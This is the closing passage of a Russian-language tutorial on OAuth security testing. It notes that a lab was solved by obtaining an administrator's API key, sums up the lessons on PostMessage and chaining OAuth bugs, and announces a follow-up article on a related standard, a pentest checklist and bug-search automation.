А вот и API-ключ адми­нис­тра­тора! Лаба прой­дена.

Выводы

В этой статье мы поз­накоми­лись с тех­нологи­ей PostMessage и разоб­рали, как ком­биниро­вать раз­ные баги в OAuth, что­бы устра­ивать более прод­винутые ата­ки и повышать импакт.

Но не сто­ит оста­нав­ливать­ся на одном толь­ко OAuth. В зак­лючитель­ной статье из этой серии мы узна­ем о надс­трой­ке над ним, которая более стан­дарти­зиро­вана и приз­вана решить часть проб­лем, но по‑преж­нему не лишена уяз­вимос­тей.

Кро­ме того, мы сос­тавим чек‑лист для пен­теста и научим­ся авто­мати­зиро­вать поиск багов.